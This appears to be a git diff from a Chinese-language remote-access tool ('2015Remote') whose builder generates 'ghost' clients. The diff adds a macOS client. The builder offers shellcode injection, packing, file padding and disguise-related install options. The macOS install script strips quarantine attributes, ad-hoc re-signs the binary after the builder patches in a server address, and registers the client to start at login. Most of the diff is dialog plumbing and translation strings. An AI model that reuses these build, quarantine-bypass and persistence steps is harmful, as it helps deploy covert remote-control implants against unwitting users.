diff --git a/linux/ghost b/linux/ghost index 5282e62..8d85ccc 100644 Binary files a/linux/ghost and b/linux/ghost differ diff --git a/macos/ghost b/macos/ghost new file mode 100644 index 0000000..c07dd37 Binary files /dev/null and b/macos/ghost differ diff --git a/macos/install.sh b/macos/install.sh index b4b6279..654ee34 100644 --- a/macos/install.sh +++ b/macos/install.sh @@ -3,18 +3,32 @@ # 用法: ./install.sh [ghost路径] SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" -GHOST_SRC="${1:-$SCRIPT_DIR/build/bin/ghost}" APP_DIR="/Applications/GhostClient.app" APP_BIN="$APP_DIR/Contents/MacOS/ghost" +# 源 binary 优先级: +# 1) 命令行参数显式指定 +# 2) 脚本同目录的 ghost(拷贝分发场景,不带源码/不重编) +# 3) build/bin/ghost(标准构建产物) +if [ -n "$1" ]; then + GHOST_SRC="$1" +elif [ -f "$SCRIPT_DIR/ghost" ]; then + GHOST_SRC="$SCRIPT_DIR/ghost" +else + GHOST_SRC="$SCRIPT_DIR/build/bin/ghost" +fi + echo "=== GhostClient 安装程序 ===" echo "" # 检查源文件 if [ ! -f "$GHOST_SRC" ]; then - echo "错误: 找不到 $GHOST_SRC" + echo "错误: 找不到 ghost 二进制" + echo " 尝试过: $SCRIPT_DIR/ghost" + echo " 尝试过: $SCRIPT_DIR/build/bin/ghost" echo "" echo "请先编译: ./build.sh" + echo "或将 ghost 二进制放到脚本同目录" echo "或指定路径: $0 " exit 1 fi @@ -68,8 +82,12 @@ EOF echo "[4/7] 清除隔离属性..." sudo xattr -cr "$APP_DIR" -# 5. 签名应用 -echo "[5/7] 签名应用..." +# 5. 签名应用(ad-hoc 重签) +# 必须步骤:Apple Silicon 上未签 / 签名失效的 binary 会被 AMFI 直接 SIGKILL。 +# 常见破坏签名的场景:服务端 BuildDlg 在 Windows 端 patch 了 binary 里的服务器 +# 地址 → 那一页的 SHA-256 hash 跟原签名块对不上 → AMFI 拒绝运行。 +# --force 替换旧签名,--deep 覆盖 bundle 内所有可执行项,--sign - 是 ad-hoc。 +echo "[5/7] 签名应用 (ad-hoc, 修复 binary 修改后的签名失效)..." sudo codesign --force --deep --sign - "$APP_DIR" # 6. 添加到登录项(开机自启) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 9575c78..f044e51 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 8a630e0..a22b13b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -104,6 +104,7 @@ false 4018;4244;4267;4819;4838 stdcpp17 + /source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions) Windows @@ -138,6 +139,7 @@ false 4018;4244;4267;4819;4838 stdcpp17 + /source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions) Windows @@ -172,6 +174,7 @@ false 4018;4244;4267;4819;4838 stdcpp17 + /source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions) Windows @@ -208,6 +211,7 @@ false 4018;4244;4267;4819;4838 stdcpp17 + /source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions) Windows @@ -231,6 +235,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 18b4246..97523df 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -328,6 +328,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index a5d2ec6..5f3361c 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -28,6 +28,7 @@ enum Index { IndexGhostMsc, IndexTestRunMsc, IndexLinuxGhost, + IndexMacGhost, OTHER_ITEM }; @@ -417,7 +418,7 @@ void CBuildDlg::OnBnClickedOk() MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING); return; } - if (index == IndexLinuxGhost) { + if (index == IndexLinuxGhost || index == IndexMacGhost) { m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); m_SliderClientSize.SetPos(0); } @@ -477,6 +478,11 @@ void CBuildDlg::OnBnClickedOk() typ = CLIENT_TYPE_LINUX; szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX); break; + case IndexMacGhost: + file = "ghost"; + typ = CLIENT_TYPE_MACOS; + szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS); + break; case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); typ = -1; @@ -699,7 +705,18 @@ void CBuildDlg::OnBnClickedOk() std::vector padding(size, time(0)%256); WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1); } - MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); + CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip; + // macOS binary 被 patch 后签名失效,AMFI 会 SIGKILL。提醒走 install.sh + // (内部会 ad-hoc 重签) 或手动 codesign。 + if (typ == CLIENT_TYPE_MACOS) { + successMsg += "\r\n\r\n"; + successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。"); + successMsg += "\r\n"; + successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。"); + successMsg += "\r\n"; + successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost"; + } + MessageBoxL(successMsg, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(szBuffer); if (index == IndexTestRun_DLL) return; @@ -763,6 +780,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务"); m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务"); m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); + m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS"); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); @@ -864,9 +882,34 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) return ""; } +// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项: +// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源 +// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念 +// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关 +void CBuildDlg::EnableWindowsOnlyControls(BOOL enable) +{ + static const int ids[] = { + // 架构 + IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH, + // 加壳 + IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK, + // 高级 group + 内部所有控件 + IDC_STATIC_BUILD_ADVANCED, + IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3, + IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD, + IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME, + IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE, + IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL, + }; + for (int id : ids) { + if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable); + } +} + void CBuildDlg::OnCbnSelchangeComboExe() { auto n = m_ComboExe.GetCurSel(); + EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost)); if (n == OTHER_ITEM) { CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|")); if (!name.IsEmpty()) { diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 6858a98..c82dcc1 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -104,4 +104,7 @@ public: CString m_sDownloadUrl; afx_msg void OnBnClickedCheckFileserver(); afx_msg void OnCbnSelchangeComboPayload(); + + // 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group) + void EnableWindowsOnlyControls(BOOL enable); }; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 5496284..c735c53 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1824,3 +1824,10 @@ IOCP ޷ʶԶ=Unknown remote machine ûԶʷ¼=No remote history 㷨Ӧ=Algorithm Adaptive +; Build Dialog - English Translation +; Format: Simplified Chinese=English +; ;: macOS ͻ˳ɹʾ 3 İ + +ʾ: macOS binary ѱ޸ĵǩʧЧֱлᱻϵͳǿɱ=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system. +Ƽ: macOS install.sh װ (űԶǩ)=Recommended: Copy to macOS and run install.sh (the script re-signs automatically). +ֶǩ:=Or re-sign manually: diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index b324697..b11a4e7 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1815,3 +1815,10 @@ IOCP ޷ʶԶ=޷ʶԶ ûԶʷ¼=ûԶʷ¼ 㷨Ӧ=㷨Ӧ +; Build Dialog - Traditional Chinese Translation +; Format: Simplified Chinese=Traditional Chinese +; ;: macOS ͻ˳ɹʾ 3 İ + +ʾ: macOS binary ѱ޸ĵǩʧЧֱлᱻϵͳǿɱ=ʾ: macOS binary ѱ޸ČºʧЧֱӈЕϵyƽKֹ +Ƽ: macOS install.sh װ (űԶǩ)=]: }u macOS install.sh b (_Ԅº) +ֶǩ:=քº: diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 37c1e9a..751c483 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -249,9 +249,10 @@ #define IDB_BITMAP_CANCELSHARE 369 #define IDD_DIALOG_PLUGIN_SETTINGS 370 #define IDD_DIALOG_TRIGGER_SETTINGS 371 -#define IDR_BINARY7 371 #define IDR_MODERN_TERMINAL 371 #define IDB_BITMAP_TRIGGER 372 +#define IDR_BINARY7 372 +#define IDR_MACOS_GHOST 372 #define IDB_BITMAP_WEBDESKTOP 373 #define IDB_BITMAP_PLUGINCONFIG 374 #define IDR_LANG_EN_US 380 @@ -976,7 +977,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 372 +#define _APS_NEXT_RESOURCE_VALUE 373 #define _APS_NEXT_COMMAND_VALUE 33048 #define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_SYMED_VALUE 105